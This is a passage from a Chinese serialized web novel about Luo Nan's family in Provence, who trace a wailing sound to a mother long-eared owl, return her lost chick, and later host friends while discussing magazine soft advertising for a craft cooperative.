每周五和周六他都会去参加梅纳村和卢尔马兰的集市,并在之前独立完成所有的准备,就像去年无数个日子那样。 周四他和往常一样,一早去弗雷迪的屠宰场进了一批精品猪肉,之后拉回家为明天的出摊而准备。 但回到家把车停好后发现,他那‘无所不能’的母亲正像受惊的小女孩一样躲在罗天海身后,惊恐的四处打量。 “没去餐厅吗?”罗南下车问父母。 虽然父母的时间和精力从餐厅里解放出来了。 但没有特别情况的日子里,他们依然会一早就去餐厅。 而现在早已过了他们平时出发的时间。 罗天海把冯珍护在身后,也抬着脑袋四处打量: “你妈说夜里猫头鹰叫了一夜,她根本睡不着觉。” 想到什么,罗天海回头问儿子罗南: “你昨天听到猫头鹰叫了吗?” 冬天的时候,佐伊说罗南家附近没有普罗旺斯最常见的喜鹊出现,是因为他家方圆200米内生活着一只猫头鹰。 猫头鹰是喜鹊的天敌,这里自然不会出现喜鹊。 起初罗南也不相信佐伊的判断,但有一天晚上他的的确确听到猫头鹰叫了,而且就在很近的地方,由此可免佐伊的判断是对的。 只过不过,罗南的睡眠非常好,每天粘枕头就睡着了,之后再没有听到过猫头鹰的叫声。 “没有,我好久没有听到了。”罗南实事求是的说。 罗天海回头对妻子说: “儿子没听到,我也没听到你是不是听错了?如果真在窗边叫了整整一夜,我们肯定被吵醒了。” “你睡的跟猪一样怎么可能听到?”冯珍狠狠的给了罗天海一下,歇斯底里的说,“我不知道是不是猫头鹰,但那叫声跟女人哭似的,哭的老惨了,嗓子都哭哑了还在哭,如果那不是猫头鹰我、我、我那必须是猫头鹰,你们今天必须给我找到它!并把它轰走!!” 罗天海为难的对罗南说: “你赶紧进去准备,早点干完,咱们给你妈抓猫头鹰去。” 罗南准备出摊的东西非常熟练,很快就完成了前期工作和罗天海在院子里找猫头鹰。 但事与愿违,父子在家的周围找了好几圈,都找到葡萄园对面的密林里了,依然没有看到一头猫头鹰的影子。 他们越是找不到,冯珍越是害怕,已经要收拾东西搬到家具还没送来的餐厅二楼去住了。 “我多找几个人来帮忙。”罗南擦了擦额头上的汗。 他罗南是普罗旺斯最宠女人的男人! 必需得把母亲的这个心结解除掉! 罗天海苦着脸摇头: “别别别,太丢人了.你妈神神叨叨的再把人家吓着,咱们再找一会就停吧,夜里我听听是不是真的有声音,说不定是风声呢。” “行,夜里我也好好听听。”罗南回头看后院的方向,“不过我可以同步去问问佐伊。” 佐伊喜欢鸟,喜欢观察鸟,对鸟类非常了解。 罗南打算去咨询一下她的看法,看看那到底是不是猫头鹰。 听完罗南的描述,佐伊专业的说: “猫头鹰是夜行动物,白天它们只会待在光线昏暗、不易被发现的地点休息,例如老树洞和厚叶树的隐蔽处等,你们想在白天找到它太难了,不过——” 在一个小小的停顿后,佐伊皱着眉毛,拿不准的说: “不同种类的猫头鹰会有不同的习性,但现在已经过了它们求偶的季节,按照道理讲夜里应该不会叫了。” “不是猫头鹰吗?”罗南觉得问题更棘手了,“那还会有什么鸟是生活在人家附近的?” 佐伊摇头: “生活在人家附近的鸟太多了,但没有任何鸟发出的叫声是阿姨形容的那样像‘女人的哭声’,尤其是哭了整整一夜,这太反常了.我想象不出来那会是什么。” 罗南苦闷的皱起眉头。 不是鸟? 那到底是什么的声音啊? 生活在吕贝隆的人没有夜生活,8点多就会准备休息了。 不过罗南一家都是巴黎人,他们睡觉的时间相对较晚,一般在10点前后。 可今天,冯珍和罗天海不到8点半就躺到了床上。 冯珍是害怕。 她想快点入睡万一那东西夜里又来了呢? 睡着就听不到了! 她不敢自己睡,罗天海自然要来保护她。 罗南则承担起了抓捕逃犯的重任。 他拿来了藤蔓,一边做家具一边时刻注意着周围的动静。 在他脚边有手电筒、绳子、渔网、木棍、开山斧、电锯等工具,还有冯珍之前给他请来的各种挂坠,主打一个别管来的是谁都能给你拿下。 10点之前一切风平浪静。 罗南做家具做的都打瞌睡了。 但10点一过,外面突然出现了几道明显的翅膀扑腾声,听方位就在房子正上方。 罗南一手拿著手电筒,一手抓住木棍,就要出去抓嫌疑人。 但一道道撕心裂肺的“呜呜呜呜”声突然钻入了罗南的耳中。 他脚步一顿,低头抓住了那一把挂坠。 嘶.的确像是女人在哭啊。 第424章 拿错剧本了! 罗南拿着手电筒来到屋外。 这个季节没有蝉鸣和蛙叫,凄厉的‘呜呜’声更加明显和清晰。 只不过发出那道声音的‘来源’并没有停在某一个地方,而是从四面八方传来,每隔个几十秒便会出现一次,使得气氛更加诡异。 “一边飞一边叫吗?”罗南用手电对着高处四处寻找。 除了‘呜呜’声,他偶尔还能听到微弱的翅膀扑腾声,由此判断那东西大概率是一种鸟类。 将【打猎】升级到3级时,系统给了罗南一项能力——可以通过动物的叫声和行为特征,判断出对方想要表达的大体意思,无法细致到具体内容,但情绪是可以判断出来的。 罗南判断出这道声音的主人自始至终只有一种情绪,那便是焦急,而且是非常焦急。 “到底发生了什么事,让这只鸟急成了这个样子?”罗南喃喃自语。 可能是电影看多了,担心这只鸟是在求助,罗南尝试着着跟随它去某个地方。 但这只鸟始终以罗南家为中心盘旋,最远的时候,那道声音出现在密林的附近,近的时候它就在罗南的头顶,有几次手电筒扫到了它的身型,但也只是匆匆一瞥,显然那东西飞的太快了。 它不停下来,罗南就无法做下一步动作。 如果现在是打猎季可能还好一些,对着天空来两枪,一定能把鸟吓走,但4四月份打猎季已经结束,罗南一时间也不知道该如何处理了。 正在他焦头烂额之际,二楼某扇窗户后出现罗天海的脑袋: “是什么?” 罗南大声回复: “看不清,但肯定是一只鸟。” 罗天海看着外面黑漆漆的葡萄园问: “它没有停下来吗?” “好像没有,一直在移动,一边飞一边叫。”罗南回头对父亲说,“没事,你回去看着我妈吧,我再想想其他办法。” 窗子里面传出比‘呜呜’声更加凄厉的叫声: “罗天海!你快回来,那东西来卧室这边了!你把窗户关上快回来!!” 冯珍害怕一些有喙的动物,看到鸡都会多躲得远远的,猫头鹰更是她想都不敢想的东西。 罗天海尴尬的回头看了一眼,把窗户关上: “你也别在外面待太久,你妈已经‘神经’了,一直跟我念叨各种恐怖故事里的东西,她说如果你一个人在外面待太久,可能回来的就不是你了。” 罗南突然眼前一亮。 诶嘿,那如果我带着两只狗一起呢? 罗南先是回去慰问了一下‘惊弓之鸟’冯珍,之后带着两只狗子出去继续寻找‘嫌疑人’。 马赛在房间里时已经跃跃欲试,罗南打开门的瞬间它便冲了出去,向着最后一次声音出现的方向疾驰。 之后的发展就是——鸟在天空飞,狗在地上追。 他和小黑只能看到一道灰色的残影在面前来来回回的出现,并发出警惕似的‘汪汪’声。 “马赛宝宝,好狗!”罗南给马赛加油。 之后他低头摸了摸蹲在自己脚边、耳朵竖起、警惕的着打量四周小黑说: “你也是好狗。” 罗南家这两只狗的性格非常鲜明。 马赛就不说了,影帝一枚,但捕猎的属性很出色,而且体能充沛。 小黑从小就不喜欢离开人的左右,虽然它没有出去找鸟,但只要那东西敢袭击罗南,小黑一定会第一时间爆冲而起。 当然了,如果马赛遇到了危险,它也会出击。 一鸟一狗的拉锯战持续了半个小时,最终马赛因体力不支而败下阵来,趴在罗南脚边大口大口的喘着粗气,眼神里全是不服气。 鸟类非常害怕狗的叫声,听说连苍鹰都不例外。 但这只鸟一点都没有离开的意思,就在一定范围内不停的盘旋,而且情绪越来越焦急。 罗南觉得情况不太对劲,带着两只狗收了队。 屋内。 “还是没找到?”冯珍脸色煞白的问。 罗南给两只狗倒水: “没找到,我觉得它可能是遇到了什么麻烦或者问题,我们别管它了。” 冯珍秒变哭腔,一头钻进罗天海的怀里,嘤嘤嘤的说: “不是我矫情,是这只鸟叫的太吓人了,我害怕啊天海,我们明天搬去餐厅住吧,有个床垫子就可以,行不行?” 罗天海搂着老婆,傻呵呵的说: “行行行,我明天找人把床搬过去,我们先去那边住两天,也许它过两天就走了。” 罗天海和冯珍打算去避避风头,但餐厅楼上什么都没有,只是装修完了,没有到可以入住的水平。 罗南心疼父母,不想让他们去吃苦,早上从梅纳村的集市回来后,又带着两只狗出去抓捕‘嫌疑人’。 那只鸟应该就生活在罗南家附近这片区域,它晚上在这里活动,白天自然也会在这里休息。 夜里它一直移动,找不到目标,白天休息的时候肯定就没有那么警惕了吧? 罗南打算带着两只狗把它的老巢‘掏’了,马赛举起四只脚表示欢迎。 昨晚的那场不光彩的败仗,把马赛气的饭都吃不下,就等着今天‘一雪前耻’。 没有叫声做指引,罗南只能带着两只狗认真的扫过每一片区域。 “都认真一点,别放过每一片区域。”罗南先把两只狗带去了后院。 白天家门口那片葡萄园一眼可以看到尽头,全部是低矮的葡萄藤藏不住什么鸟类。 罗南猜,那只鸟若不是住在远处的密林里,就是住在他家后院那一片。 后院树多、建筑物复杂,还有许多工程材料——此乃藏身之利处! 而且他也盼着那只鸟住在这里,如果住在密林那就真的是‘大海捞针’了。 马赛像排头兵一样走在队列的最前方,不用罗南说什么,它不会放过任何一个区域,连佐伊的窑炉,它都去闻了闻。 小黑始终跟在罗南的脚边,不过一旦马赛发现了什么可疑的东西,小黑会马上冲过去,抢在它之前去查看,很好的保护住弟弟。 若是虚惊一场,它又会马上返回罗南的身边,继续警惕四周。 “佐伊在帮你们修建可以玩的场地了。”罗南看着两只狗,有一种儿子长大了欣慰感。 虽然两只狗都不够完美,各有各的问题,但罗南偏执的认为,它们是这世界上最好的宝宝! 之前佐伊要在后院给两只狗建点什么,罗南的态度是‘怎么都行’,现在他改为支持了——必须修、狠狠的修! 突然,前方的马赛发出了代表警惕的低鸣,同时还压低了前肢,小黑也做出了同样的攻击架势。 这种情况是之前从没发生过的,罗南的第一反应是那只‘嫌疑犯’要落网了! 罗南顺着两只狗的面对的方向看过去,发现是去年修建好的户外休闲区域。 马赛和小黑交换着身位慢慢围了过去,目标是一组矮柜附近。 出于防潮的考虑,那几门柜子下方留出了一些空隙。 罗南默默的跟在它们身后,同时小心翼翼的压低身体,想要看一看是不是有什么东西在下面的缝隙里。 但说时迟那时快,一道刚灰色的身影突然猛冲了过去,并伴随着凶猛的‘汪汪’声,一道黑色的残影又超过了它,先一步匍匐到了矮柜的面前,对着里面疯狂吠叫。 小黑的反应代表那里面一定有东西! “你们小心,别被它抓到了脸。”罗南警惕的在后面喊。 那矮柜下面的空隙只够一个狗头探进去。 好狡猾的敌军,居然找了这么一个能攻善守的地形! 但奇怪的是,小黑只是叫了一声就停了下来。 马赛倒是叫的挺欢,但没有之前那么凶猛了。 “什么情况?”罗南跪在两只狗的身边,把头低了下去。 期待中长相凶残的猛禽或者猫头鹰没有看到,靠墙脏兮兮但角落里缩着一只个头只有啤酒罐大小、拥有一双黄色大眼睛和一对漂亮小耳朵的奇怪东西。 鸟不像鸟,鸡不像鸡,毛都没长齐。 那小东西用光秃秃的两只翅膀紧紧的抱住自己,哆哆嗦嗦的看着缝隙外的两狗一人,褐色小嘴巴微微张开,能看到里面的粉色小舌头一颤一颤的,却没有发出任何声音。 不过罗南大概能猜出它想喊什么。 “救命!来了三个怪东西!!” “前两天的叫声是它的妈妈在找它?” 罗南把这个小东西救出来,并请来了‘鸟类学家’佐伊。 佐伊说,它看起来有可能是一种名叫长耳鸮的猫头鹰的雏鸟,从月份上计算,它现在应该还处在无法自主进食的阶段,可能因为什么原因和妈妈走失了。 佐伊点了点头: “应该是了,它的妈妈一定急死了。” “这样看来,它饿了至少两天了?”冯珍像对待孩子一样,给小长耳鸮做了舒服的小垫子,从罗南带回家后就一直坐在它不远的地方,时刻观察它的状态,“它吃什么?虫子吗?罗天海,你别闲着了,出去抓两只虫子去。” 冯珍害怕猫头鹰,但它不怕这个小东西,甚至还用‘可爱’形容它。 家暂时不搬了,但班不上了,说罗南和佐伊不会照顾孩子,她得在家里盯着。 佐伊歉意的说: “我不知道这种猫头鹰的饮食习性,最好是打电话给动物保护协会,不过既然它妈妈就在这附近,最佳的方式是把它送回到妈妈的身边去。” “但它不会叫。”罗南为难的说,“我不知道是它个体问题,还是它太小了,你看它根本发不出声音,它妈妈能找到它吗?” 佐伊斟酌了一下: “放到一个明显的位置,它妈妈应该可以闻到它的气息。” 冯珍想到了更加恐怖的场景: “这附近有苍鹰出没,万一它妈妈没来,苍鹰来了,把它叼走了怎么办啊这太危险了!” 佐伊应该是在座的几位中最喜欢小动物的人,她坚定的说: “今天夜里我会在一个安全的地方保护它,如果来的是其他猛禽,我就将它轰走。” “我陪你一起!”冯珍拍了下大腿,对老公罗天海喊,“罗天海,你做点适合夜里吃的东西,我和佐伊今天夜里去送‘孩子’。” 罗天海无奈的看了一眼罗南: “走吧,一起去。” 罗南笑着起来帮助父亲去准备东西。 大战猫头鹰的戏码居然演变成了‘小蝌蚪找妈妈’.这谁能想的到啊? 第425章 后院升级! ‘送孩子’的地点选择在那只小鸟藏身的附近。 为了在一旁保护,下午罗南把户外休息区和户外厨房区域认真的打扫了出来,晚上他们会在这里保护那只和妈妈失散的小长耳鸮。 佐伊要晚些回家,和父母说出缘由之后,路易和莉亚也加入到了‘送孩子’的队伍中。 有食物有酒,身边还是关系最好的两家人,气氛像是聚会一样惬意。 “装修的怎么样了?” 这两家人坐在一起,话题不会围绕天南海北,只会在小情侣的身上。 室内的进度大家清楚,但后院的进度父母们都不是很了解,只有罗南和佐伊了解。 “很符合预期。”佐伊依偎在罗南的怀里,笑着说,“这个月把户外的几个休息区做完,下个月游泳池完工,再之后收个尾就做完了。” 四月吕贝隆的早晚温差大,罗南帮佐伊拉好毯子,补充道: “最晚6月底能装完,这跟我和佐伊之前的预估时间没有出入。” 路易笑着耸肩,问罗南: “什么时候结婚呢?定了吗?” 罗南和佐伊互看了一眼。 他们之前聊过装修的计划,但还真的没有正式讨论过结婚的日子,只是统一了‘尽快’这个目标。 6月份装修完成,几月结婚呢? 法国人没有催婚的习惯,路易问这个问题只是想要问问。 但中国人刻在骨子里的‘催婚’习惯,不会因为在巴黎生活了几十年就磨灭掉。 冯珍看着远处,放在陶瓷罐子里的小猫头鹰,含沙射影的说: “哎呀,真好啊,咱们两家人都这么喜欢‘孩子’,要是有个真的孩子就好了.那得多有意思。” 罗南看了一眼母亲,笑着说: “说结婚,怎么就孩子了?我和佐伊还没讨论过这个问题呢。” 莉亚被冯珍的话影响了,随着她继续说: “佐伊从小就喜欢动物,肯定能把孩子养好,而且你们不用担心工作忙没时间带孩子,我们都可以帮忙啊。” 普罗旺斯地区的家庭观念非常重。 同样也有长辈替孩子照顾子女的情况发生,而且是经常发生。 佐伊脱口而出: “我和罗南肯定会自己带孩子,你们不要操心了。” 几口人聊了一会结婚和孩子的话题,在一旁的维埃里无聊的站了起来: “你们聊吧,我先回家休息了。” 维埃里不想来参加今天的活动,但路易不想放他自己在家里待着,执意把他‘绑架’过来。 “再待会啊。”路易看了一眼表,“应该马上就来了,你不想看看那情形吗?” 维埃里冷酷的拒绝: “无聊。” 佐伊奚落弟弟维埃里: “我们都是一对一对的,只有你自己坐着当然无聊,考完试赶紧想想这个问题吧。” 维埃里回头,看了看三对依偎在一起取暖的几个人,对父亲路易说: “明天钥匙借我一下,我去博尼约买东西。” 路易笑着对儿子挥了下手: “车钥匙就在门口放着,你想用随时拿,你应该早一点学驾照的,多出去遛遛挺好,以前天天闷在家里才是真的无聊呢。” 另一边,罗南不动声色的挑了下眉毛。 明天伊莎贝尔休息。 罗天海、罗南和路易聊了一会,突然发现几个女士‘下线’了,她们好久没有参与到话题里了。 佐伊有些担忧的说: “是不是因为我们在这里,它妈妈不敢过来了?” 罗南皱着眉头说: “应该不会,昨天马赛一直叫,它妈妈都没有离开,为了孩子它不会这么轻易的放弃,而且我们的距离足够远了。” 冯珍时刻盯着小家伙附近的区域,生怕它遇到什么危险: “如果它妈妈没来我们怎么办?可以家养它吗?它那么可爱,我可以养它!” 佐伊遗憾的说: “所有猫头鹰都是保护动物,严禁家养和买卖,如果它妈妈不来接它,我们只能求助动物保护机构把它接走了。” 冯珍依依不舍的说: “那就看不到它了,如果能跟着它妈妈离开,将来可能还能相遇.它妈妈就生活在这附近。” “相遇?”罗天海哭笑不得的问,“你又不怕猫头鹰了?” 冯珍白了它一眼: “这只不一样!它小时候那么可爱,长大了也一定会很漂亮的!” “呜呜呜呜——”凄厉的哭声由远及近的出现,传入了在场每个人的耳中。 路易、莉亚和佐伊这三位第一次听到的人都出现了明显的身影僵硬现象。 这叫声确实很‘奇特’。 冯珍吓得钻入了毯子里,在空旷的户外听到这叫声,显得更加‘凄厉’了。 “发现孩子了吗?发现孩子了吗?”蒙在毯子里的她操心的问。 罗南抬头看天上: “没有,还在移动。” 罗天海安慰妻子: “没事的,我们这么多人在,你怕什么?” 冯珍惊恐的说: “你们别管我,看着孩子啊,万一这声音不是它妈妈,是其他鸟呢!” 经冯珍这么一提醒,大家马上警觉起来,因为的确有这种可能。 罗南昨晚并没有看到这只鸟的‘庐山真面目’。 几个人小心翼翼的站起来,警惕的观察四周。 想要把孩子顺利的拿走,必须先验明身份。 “来了——”罗南猛的抬头。 即使罗南不提醒,大家也做出了相应的反应,因为那道声音几乎就在他们的头顶发出。 第一个发现那只鸟的,是对鸟类相对熟悉的佐伊,她指着一个树干说: “在那里,是它妈妈!” 路易和莉亚虽然不了解鸟,但他们在普罗旺斯生活这么多年,见过太多次猫头鹰了,经佐伊的提醒也发现了目标。 “是长耳鸮,果然是它来找孩子了。” 罗天海和罗南吃力的看了好久都没发现踪迹。 “哪里?” “什么颜色的?” “树上还是叶子后面?” 在被子里的冯珍听的急死了,恨不得自己出去看看,但还是忍住了。 终于,罗南也发现了那只鸟。 “啊,我看到了!快接走你的孩子吧。” “你们可看好了,一定是它的妈妈再给它!”冯珍蒙在被子里喊,但外面的情况无比混乱,大家已经顾不上她了。 没有了眼睛,冯珍像是听‘实况转播’一样。 “下来了下来了。” “它看见了?” “诶诶诶,飞过来了,飞过来了,快把它带走啊。” “你们确定好那是它妈妈再给它啊!”冯珍大喊道,却依然没有得到什么回应。 大家都在焦急的指挥猫头鹰妈妈赶紧带走它的孩子。 被逼无奈,冯珍掀开了身上的毯子,并鼓起勇气睁开眼睛。 不知道是不是和那鸟有缘,冯珍一眼就看到了树枝上的猫头鹰。 “嘿,这一看就是一家人啊,呆萌呆萌的!”冯珍终于露出了笑容。 经过了长达10分钟的试探后,猫头鹰妈妈终于带走了它的孩子。 离开时,它那双在黑夜里依然炯炯有神的黄色大眼睛一眨不眨地回望身后的6个人。 待它的身形完全消失在夜幕中后,空荡的山林间传出了一道安宁祥和的叫声。 冯珍笑着站起来,挥舞着毯子喊: “有时间回来啊,孩子和妈妈一起!” 佐伊笑着看了看冯珍,抬头摸着罗南的下巴说: “阿姨舍不得它们。” 罗南笑着撇嘴: “这就是女人啊,一天一个样子。” 佐伊舒服的抱住罗南: “我帮阿姨实现愿望!” 时间转瞬即逝。 又是一天卢尔马兰集市举办的日子,今天逛集市的人肉眼可见的多了起来,因为再过一周复活节就要到来了。 罗南带着餐厅里的几个妇女摆摊,遇到了来‘巡查’的希尔维、克劳德和旅游局的昆西,在他们身后,还有一脸冷酷的朱莉特。 “你还没离开?”罗南意外的问昆西。 昆西在卢尔马兰待了一个多月、快两个月了,时间是不是太长了些? “怎么?不想看到我了?”昆西开玩笑的问罗南。 罗南笑着回: “当然不是,我希望你能一直在这里。” 你在就说明钱在啊,我的伙计。 昆西拍了拍罗南的肩膀: “复活节马上就要来了,我过完复活节再回去。” 在卢尔马兰投入了这么多,必须要看一看旅行季到来后的情形啊,这样也好回去写第一轮报告。 罗南点头: “好,有什么需要我做的随时找我。” 昆西笑着回: “那是当然,我可不会和你客气。” 几位官员离开后,落在最后的朱莉特小声提醒罗南: “记得赶紧给伊内斯打电话,你不想再出一次问题吧?” 罗南感激的给朱莉特倒了一杯粉红酒,让她边走边喝: “我马上要和伊内斯见面了,就在几天后,会当面和她‘坦白’的。” 朱莉特点了点头,拿着粉红酒离开了。 如果没有排长队的情况出现,罗南通常会在11点之前收摊。 不过今天他没着急走,妇女们问他怎么还不收拾,罗南解释在等人。 终于在中午的11点40,一男一女带着两个孩子出现在了罗南的摊位前,那是布鲁诺一家人。 “嘿,伙计,卢尔马兰的集市也不错啊,没有你说的那么冷清。”布鲁诺一见面就和罗南热情拥抱到了一起。 罗南放开布鲁诺,蹲下对两个孩子说: “你们想现在回去吃午饭,还是先吃两份锅包肉呢?” 布鲁诺的房子还没装好,不过今天他们要来卢尔马兰这里和工匠讨论一些事情。 罗南得知后,邀请他们中午一起吃午饭,在他的家里。 双方约定的见面地点在集市上,布鲁诺和妻子桑德琳想要看一看卢尔马兰的集市氛围。 现在早已过了午饭的时间,担心两个孩子饿了,罗南想给她们先填一填肚子。 “锅包肉,锅包肉!我爱锅包肉!” 布鲁诺的两个女儿参加过罗南餐厅里的春节聚餐,她们同时爱上了这种酸酸甜甜的食物。 给两个孩子做完锅包肉,罗南便正式收摊了。 步行回家的路上,罗南向布鲁诺一家解释: “我家室内正在装修,今天中午在外面吃吧,佐伊已经在准备了,这个天气,白天在外面吃饭很舒服。” “那可太棒了!”布鲁诺拍手道,“我们搬来普罗旺斯就是为了这里的空气和风景。” 桑德琳和孩子们都是第一次来罗南家,罗南先带着他们看了看葡萄园,之后将他们引到了后院的区域。 但刚走了每几步,两个女孩便不肯离开,围着罗南家里的一口蓄水池玩的不亦乐乎。 “这是什么?”桑德兰也研究起来了那口池子。 罗南摸了摸鼻子: “这个东西说来可复杂了,起初佐伊只是想给宠物们设计一个可以玩的地方,但后来我妈妈又和这附近的两只猫头鹰产生了感情吕贝隆山区缺乏水源,有水的地方这附近的小动物都会来喝水,所以就有了这个设计。” “为了动物设计的?”布鲁诺摸着光头问。 桑德琳看了看这四周,迫不及待的说: “你这个院子可不简单,快带我们参观一下吧。” 她最近恶补了许多装修的知识,也和很多设计师保持着密切的联系。 但那些照片上的场景完全不及罗南家的这个院子! 罗南对大家挥了下手: “走,正好最近我们的院子完工了一些新的东西。” 第426章 开拓新的思路 “我记得上次来你家不是这个样子的。”布鲁诺左看看右看看,回忆着说,“这个马厩之前存在吗?我记得没有吧?” 布鲁诺在罗南家度过了一次毕生难忘的圣诞节。 罗南的热情和他家的生活气氛都是推动布鲁诺爱上普罗旺斯的重要原因之一。 但和几个月前相比,罗南家后院大变了样子。 罗南笑着说: “这不是马厩,是给佐伊建的工作室,你上次来的时候还没有开始建它呢。” 桑德琳看着那座巨大的工作室羡慕的说: “如果卢尔马兰手工艺合作社的线下店铺能有那么大就好了。” 桑德琳已‘入职’一个月的时间。 最近,由她负责组织的编织工艺参观项目也顺利推出,虽然来卢尔马兰游玩的游客对这个项目的热情度没有对葡萄园相关的参观项目高,但是从阿普特线下店铺引过来的顾客不在少数。 听说可以去参观妇女手工编织家具和工艺品,无论是买过东西还是正在犹豫买的顾客都想要来看一看。 拉长链路自然对编织品的售卖有巨大的帮助,但线下店铺面积太小是一个无法忽视的问题。 如果线下店铺能那么大就好了,她会马上组织起来其他围绕线下店铺的大型活动。 罗南安慰桑德琳: “未来一定会有的,不要着急。” 那一边,桑德琳和罗南一边参观后院一边聊着编织生意上的事情,布鲁诺光秃秃的脑袋里想的则是其他。 罗南不愧是他在普罗旺斯最‘厉害’的朋友。 女朋友拥有一座和马厩大小一样的工作室,连罗南家的宠物都有属于自己的游玩区域。 妻子桑德琳‘入职’后,布鲁诺曾多次询问她工作是否顺利、是否顺心。 桑德琳说,罗南给了她非常高的工作自由度,不需要每天来卢尔马兰盯着,给出的建议他也会认真采纳,最重要的是发钱的时候非常痛快。 罗南果然是一个既有实力又靠谱的家伙,这样他就放心了。 罗南带着布鲁诺一家人去工作室里参观了一圈,看了里面的几个工作区域和佐伊漂亮的窑炉。 桑德琳看的更加羡慕了。 虽然她和佐伊干的不是同一项工作,但谁不想拥有一个属于自己的宽敞工作区域呢? 桑德琳看的津津有味,但她的两个女儿就没有那么强的耐心了。 她们想和狗玩又有些累了,哭哭啼啼的和爸爸妈妈说不想参观了。 “我去看看佐伊那边的准备情况,咱们先吃饭吧。”罗南见状停在了工作室外。 今天是小情侣第一次独立宴请朋友,罗天海和冯珍都没有来帮忙。 佐伊的厨艺虽然最近进步了不少,但让她独立完成一次小型聚餐罗南并不放心,他的心早就飘去那边了,生怕佐伊弄伤手指或者烫伤。 两个小女孩听罢立即笑着飞奔去了蓄水池附近,刚刚都没有玩尽兴呢! 之后罗南把布鲁诺和桑德琳带到附近一个新建好的休息区: “你们在这里稍微休息一下,饭好了我来叫你们。” 桑德琳和布鲁诺‘躺’到宽大的垫子上,后背靠住大树,这个区域在树下的阴凉处,没有风也没有阳光,既可以清晰的看到远处在玩耍的孩子,又能充分的休息简直太棒了! “你们也太会享受了吧?”布鲁诺舒服的眯起了眼睛。 他完全感受不到是在朋友家吃饭,更像是去了某个度假村度假了。 罗南摸了摸鼻子: “这地方是佐伊找的,她说下午在这里小憩一会应该会非常舒服。” 布鲁诺摇着脑袋说: “做你的妻子太幸福了!” 罗南露出幸福的笑容: “能娶到佐伊这样的妻子才是我的幸福呢。” 罗南赶到厨房,立即开始帮忙: “我来帮你一起。” 佐伊回头意外的问: “你怎么过来了,布鲁诺他们呢?” 布鲁诺一家来的时候和佐伊打了个招呼,她知道客人们到了。 罗南把袖子撸起来,四处找事情做: “正在你设计看狗的那处休息区坐着呢,他们非常喜欢那里。” 刚刚罗南没有解释全部。 佐伊设计那个休息区,除了想要小憩,还为了看宠物们玩耍。 而布鲁诺和桑德琳在看他们的孩子. 佐伊一边处理海鲜一边低着头说: “那你快去陪他们说话,不用担心这里,饭马上就做好。” 罗南不放心的说: “我先和你一起把饭做好。” 佐伊用胳膊把罗南往外推: “你一会不是还要请布鲁诺帮忙吗?把客人晾在那里并不礼貌,我自己完全可以,以前家里来了客人,都是妈妈一个人在厨房里做饭,你觉得我不可以?” 罗南为难的说: “不是你不可以,是我不放心。” 佐伊在百忙之中抽空亲了罗南一下: “只有六个人的餐食并不困难,未来我还要独立完成十几、二十个人的聚餐呢,我早晚要独立面对这些。” 罗南捧着佐伊的脸狠狠亲了一下: “我太幸福了,能娶到你这么好的妻子。” 佐伊事业心强,家庭责任感也强。 她并没有因为在艺术领域取得的成功而疏忽其做妻子的义务,甚至在还没有结婚之前就一直在努力提升生活能力。 “快去吧,记得把冻好的粉红酒给朋友们拿过去。”佐伊笑着对罗南说。 罗南拿着酒离开厨房后,佐伊的笑容立即消失,她深呼吸了一大口,鼓励自己道: “放轻松佐伊,想想妈妈那个时候是如何做的,你一定可以做好。” 之后,她低头继续看起涂涂画画了许多次的‘烹饪笔记’。 今天的聚餐非常重要,佐伊一定要帮助罗南给布鲁诺留下一个好印象。 小情侣努力想要给布鲁诺留下好印象。 而当事人布鲁诺那里的‘好感度’早就快刷满了。 在罗南回厨房的那几分钟里,桑德琳不止一次的说,她也想要一个这么漂亮的院子。 布鲁诺从来没有拒绝过妻子的请求,桑德琳要这么漂亮的院子那他就一定要给她。 至于怎么给.就要请罗南帮忙了。 只不过,罗南从厨房回来后一直在和桑德琳聊编织的生意,他完全插不进去话。 “只靠线下店铺和艺术展览并不是个好办法,尤其今年你和佐伊在筹备结婚,不会参加太多大型的艺术活动,需要开拓其他的曝光和销售渠道。” 桑德琳是罗南请来的商业顾问,自然要了解卢尔马兰手工艺合作社的全部细节。 老板、兼设计师和招牌的罗南是她的重点关注目标。 按照罗南和歌迪亚之前聊定的发展计划,罗南今年不会参与太多和艺术相关的活动,只会参加曝光量级比较高的那种。 但这些活动大概率要等到后半年或者年底,罗南明确表示过不止一次,在结婚之前他没有精力做新的东西了。 罗南的决定代表依托他为中心的营销策略今年无法做出太大的突破了,必须要增加其他计划。 “比如你曾经说过的待销?”罗南问桑德琳。 桑德琳点头道: “我已经让卡福的伙计们去开拓代销渠道了。” 罗南用称赞的语气说: “卡福跟我说了,说你的思路很奏效,这个月的订单量可能会比上个月高10%左右。” 罗南觉得很不错的事,桑德琳却并不满足: “只是代销还不够,我认为还可以开拓一些其他的曝光渠道。” “比如?”罗南前倾身体,认真的问。 桑德琳也变得认真起来: “如果条件允许,可以试着做一些‘软性’广告,效果最好的是杂志,在最近的杂志里面‘合理’的露出产品样式,这是奢侈品品牌和家具厂商惯用的伎俩。” “软性广告.”罗南若有所思的跟着念叨了一遍。 桑德琳认真解释: “别看是软性广告,但投入的广告费有可能比硬广告还要高,以我以前服务的奢侈品牌为例,我们有专门一个部门是跟杂志和媒体打交道的,如果给的钱足够多,编辑会在私下告知上层名流们‘应该’买什么。” 桑德琳遗憾的说: “编辑们的只言片语对品牌,尤其是高端品牌太重要了,可惜,我之前的工作内容并没有接触过这一部分,没有什么这方面的资源。” 见妻子一脸惋惜,布鲁诺插嘴道: “需要什么样的资源?我帮你们找一找?” 他想让桑德琳的工作更加顺利,同时也想要为罗南做点什么。 去年在布鲁诺状态最差的时候,罗南用热情温暖了他。 今年,罗南给了桑德琳一份她非常喜欢的工作,或许设计院子也需要他们的帮忙,而且等布鲁诺一家搬来卢尔马兰生活时指不定又有多少事需要麻烦罗南. 总之,他欠罗南的人情越来越多了! “巴黎的奢侈品主要找《Vogue Paris》、《Elle》和《Marie Claire》那些知名杂志集团,不过我们不需要那么高级的,可以先从地方杂志合作开始。”桑德琳体贴的对罗南说,“你放心,我很了解‘卢尔马兰手工艺合作社’的现状,也明白现在还没到花钱做软广的阶段,我先努力去找一找,了解一下合作价格,等我们发展起来,未来一定会用的上。” 布鲁诺也看向罗南: “我和桑德琳一起找,我虽然刚来普罗旺斯,但我的同事们都是地道的普罗旺斯人,找杂志里的人并不困难。” 罗南给他们二人倒酒: “不用了,我认识杂志里的人,不用麻烦你们了。” 桑德琳好心提醒道: “一般的编辑没有用,据我所知,这是一个专业的部门,找的人不对,浪费时间不说还容易产生误会,还是我来找吧。” 布鲁诺拍着胸脯说: “还是我去找吧,我去找个领导,能说上话的那种,总比你们‘无头苍蝇’乱转来的简单。” 